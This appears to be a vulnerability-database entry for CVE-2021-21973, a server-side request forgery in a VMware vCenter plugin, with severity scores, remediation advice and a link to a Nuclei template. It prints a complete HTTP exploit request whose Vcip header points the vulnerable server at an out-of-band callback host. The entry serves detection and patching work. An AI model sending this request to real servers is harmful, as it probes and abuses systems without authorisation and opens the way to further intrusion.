| Title | VMware vSphere - Server-Side Request Forgery |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks. |
| Remediation | Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.90336 |
| CVE ID | CVE-2021-21973 |
| CWE ID | CWE-918 |
| Tags | cve2021 cve vmware ssrf vcenter oast kev vkev vuln |
VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Reqresource: vCj5gv
Vcip: d5jn6qple0o4s5601n8gkxd6d97fh89n5.oast.fun
Vcpassword: IhxUBq
Vcusername: yLxXHx
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21973.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21973.pcap
N/AN/A